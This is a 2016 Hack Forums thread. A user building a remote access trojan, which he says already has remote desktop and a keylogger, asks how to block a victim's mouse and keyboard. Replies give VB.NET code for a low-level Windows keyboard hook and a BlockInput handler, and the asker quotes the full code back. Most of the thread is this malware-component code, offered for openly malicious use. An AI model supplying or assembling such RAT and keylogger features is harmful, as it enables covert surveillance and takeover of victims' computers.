

Forum:[Hack Forums](#)

Thread: [VB.NET Code To Block Mouse And Keyboard Input?](#)

Demoralise - September 28, 2016, 12:20 am

Could somebody explain how to create this script? I am coding myself a RAT but I am not sure how to code these specific features. I have already created the remote chat, remote desktop and keylogger but how would I code a feature to block mouse and keyboard input?

SIM-2137258 - September 28, 2016, 8:27 am

Do you have try these :

<http://stackoverflow.com/questions/6116669/how-can-i-disable-a-users-mouse-and-keyboard-make-the-mouse-not-visible-in-vb> ?

Visual Freedom - September 28, 2016, 1:06 pm

Simply install a lowlevel hook and return an empty IntPtr.

How did you create a keylogger when you do not know how to block this input?

Demoralise - September 28, 2016, 2:26 pm

(Sep 28, 2016 01:06 PM)Visual Freedom Wrote: [\[CITE\]](#) Simply install a lowlevel hook and return an empty IntPtr.

How did you create a keylogger when you do not know how to block this input?I never said that I create a keylogger, I haven't.

EDIT: Okay I have but only one for a RAT.

Rhez - September 28, 2016, 6:52 pm

(Sep 28, 2016 02:26 PM)Demoralise Wrote: [\[CITE\]](#) I never said that I create a keylogger, I haven't.

EDIT: Okay I have but only one for a RAT.

(Sep 28, 2016 12:20 AM)Demoralise Wrote: [\[CITE\]](#) I have already created the remote chat, remote desktop and keylogger but how would I code a feature to block mouse and keyboard input?
??

Positivelon - September 28, 2016, 8:09 pm

Im not to sure on the mouse input but for the keyboard you are going to need a keyboard hook.

Spoiler ([Click to View](#))Code Imports System.Runtime.InteropServices

Imports System.Reflection

Imports System.Net

Imports Microsoft.Win32

Imports System.Environment

Public Class KeyboardHook

<DllImport("User32.dll", CharSet:=CharSet.Auto,
CallingConvention:=CallingConvention.StdCall)> _

Private Overloads Shared Function SetWindowsHookEx(ByVal idHook As Integer, ByVal
HookProc As KBDLLHookProc, ByVal hInstance As IntPtr, ByVal wParam As Integer) As Integer
End Function

<DllImport("User32.dll", CharSet:=CharSet.Auto,

```

CallingConvention:=CallingConvention.StdCall)> _
    Private Overloads Shared Function CallNextHookEx(ByVal idHook As Integer, ByVal nCode As
Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
    End Function
    <DllImport("User32.dll", CharSet:=CharSet.Auto,
CallingConvention:=CallingConvention.StdCall)> _
    Private Overloads Shared Function UnhookWindowsHookEx(ByVal idHook As Integer) As
Boolean
    End Function

    <StructLayout(LayoutKind.Sequential)> _
    Private Structure KBDLLHOOKSTRUCT
        Public vkCode As UInt32
        Public scanCode As UInt32
        Public flags As KBDLLHOOKSTRUCTFlags
        Public time As UInt32
        Public dwExtraInfo As IntPtr
    End Structure

    <Flags()> _
    Private Enum KBDLLHOOKSTRUCTFlags As UInt32
        LLKHF_EXTENDED = &H1
        LLKHF_INJECTED = &H10
        LLKHF_ALTDOWN = &H20
        LLKHF_UP = &H80
    End Enum

    Public Shared Event KeyDown(ByVal Key As Keys)
    Public Shared Event KeyUp(ByVal Key As Keys)

    Private Const WH_KEYBOARD_LL As Integer = 13
    Private Const HC_ACTION As Integer = 0
    Private Const WM_KEYDOWN = &H100
    Private Const WM_KEYUP = &H101
    Private Const WM_SYSKEYDOWN = &H104
    Private Const WM_SYSKEYUP = &H105

    Private Delegate Function KBDLLHookProc(ByVal nCode As Integer, ByVal wParam As IntPtr,
ByVal lParam As IntPtr) As Integer

    Private KBDLLHookProcDelegate As KBDLLHookProc = New KBDLLHookProc(AddressOf
KeyboardProc)
    Private HHookID As IntPtr = IntPtr.Zero

    Private Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam
As IntPtr) As Integer
        If (nCode = HC_ACTION) Then
            Dim struct As KBDLLHOOKSTRUCT
            Select Case wParam
                Case WM_KEYDOWN, WM_SYSKEYDOWN
                    RaiseEvent KeyDown(CType(CType(Marshal.PtrToStructure(lParam,
struct.GetType()), KBDLLHOOKSTRUCT).vkCode, Keys))
                Case WM_KEYUP, WM_SYSKEYUP

```

```

        RaiseEvent KeyUp(CType(CType(Marshal.PtrToStructure(IParam, struct.GetType()),
KBDLLHOOKSTRUCT).vkCode, Keys))
    End Select
End If
Return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam)
End Function

Public Sub New()
    HHookID = SetWindowsHookEx(WH_KEYBOARD_LL, KBDLLHookProcDelegate,
System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecuti
ngAssembly.GetModules()(0)).ToInt32, 0)
    If HHookID = IntPtr.Zero Then
        Throw New Exception("Could not set keyboard hook")
    End If
End Sub

Protected Overrides Sub Finalize()
    If Not HHookID = IntPtr.Zero Then
        UnhookWindowsHookEx(HHookID)
    End If
    MyBase.Finalize()
End Sub
End Class

```

Now once you add the hook to your project use this to block the keyboard input.

Spoiler ([Click to View](#))Code Public Sub kbHook_KeyDown(ByVal Key As System.Windows.Forms.Keys) Handles kbHook.KeyDown
 BlockInput(1)
End Sub
Public Sub kbHook_KeyUp(ByVal Key As System.Windows.Forms.Keys) Handles kbHook.KeyUp
 BlockInput(0)
End Sub

Demoralise - September 28, 2016, 9:10 pm

(Sep 28, 2016 08:09 PM)Positelon Wrote: ([CITE](#)) Im not to sure on the mouse input but for the keyboard you are going to need a keyboard hook.

Spoiler ([Click to View](#))Code Imports System.Runtime.InteropServices
Imports System.Reflection
Imports System.Net
Imports Microsoft.Win32
Imports System.Environment
Public Class KeyboardHook

```

    <DllImport("User32.dll", CharSet:=CharSet.Auto,
CallingConvention:=CallingConvention.StdCall)> _
    Private Overloads Shared Function SetWindowsHookEx(ByVal idHook As Integer, ByVal
HookProc As KBDLLHookProc, ByVal hInstance As IntPtr, ByVal wParam As Integer) As Integer
    End Function
    <DllImport("User32.dll", CharSet:=CharSet.Auto,
CallingConvention:=CallingConvention.StdCall)> _

```

```

Private Overloads Shared Function CallNextHookEx(ByVal idHook As Integer, ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
End Function
<DllImport("User32.dll", CharSet:=CharSet.Auto,
CallingConvention:=CallingConvention.StdCall)> _
Private Overloads Shared Function UnhookWindowsHookEx(ByVal idHook As Integer) As Boolean
End Function

<StructLayout(LayoutKind.Sequential)> _
Private Structure KBDLLHOOKSTRUCT
    Public vkCode As UInt32
    Public scanCode As UInt32
    Public flags As KBDLLHOOKSTRUCTFlags
    Public time As UInt32
    Public dwExtraInfo As UIntPtr
End Structure

<Flags()> _
Private Enum KBDLLHOOKSTRUCTFlags As UInt32
    LLKHF_EXTENDED = &H1
    LLKHF_INJECTED = &H10
    LLKHF_ALTDOWN = &H20
    LLKHF_UP = &H80
End Enum

Public Shared Event KeyDown(ByVal Key As Keys)
Public Shared Event KeyUp(ByVal Key As Keys)

Private Const WH_KEYBOARD_LL As Integer = 13
Private Const HC_ACTION As Integer = 0
Private Const WM_KEYDOWN = &H100
Private Const WM_KEYUP = &H101
Private Const WM_SYSKEYDOWN = &H104
Private Const WM_SYSKEYUP = &H105

Private Delegate Function KBDLLHookProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer

Private KBDLLHookProcDelegate As KBDLLHookProc = New KBDLLHookProc(AddressOf KeyboardProc)
Private HHookID As IntPtr = IntPtr.Zero

Private Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
    If (nCode = HC_ACTION) Then
        Dim struct As KBDLLHOOKSTRUCT
        Select Case wParam
            Case WM_KEYDOWN, WM_SYSKEYDOWN
                RaiseEvent KeyDown(CType(CType(Marshal.PtrToStructure(lParam, struct.GetType()), KBDLLHOOKSTRUCT).vkCode, Keys))
            Case WM_KEYUP, WM_SYSKEYUP
                RaiseEvent KeyUp(CType(CType(Marshal.PtrToStructure(lParam, struct.GetType()),

```

```

KBDLLHOOKSTRUCT).vkCode, Keys))
    End Select
End If
Return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam)
End Function

Public Sub New()
    HHookID = SetWindowsHookEx(WH_KEYBOARD_LL, KBDLLHookProcDelegate,
System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecuti
ngAssembly.GetModules()(0)).ToInt32, 0)
    If HHookID = IntPtr.Zero Then
        Throw New Exception("Could not set keyboard hook")
    End If
End Sub

Protected Overrides Sub Finalize()
    If Not HHookID = IntPtr.Zero Then
        UnhookWindowsHookEx(HHookID)
    End If
    MyBase.Finalize()
End Sub
End Class

```

Now once you add the hook to your project use this to block the keyboard input.

```

Spoiler \(Click to View\)Code Public Sub kbHook_KeyDown(ByVal Key As
System.Windows.Forms.Keys) Handles kbHook.KeyDown
    BlockInput(1)
End Sub
Public Sub kbHook_KeyUp(ByVal Key As System.Windows.Forms.Keys) Handles
kbHook.KeyUp
    BlockInput(0)
End Sub+1 to you. Thank you for the help.

```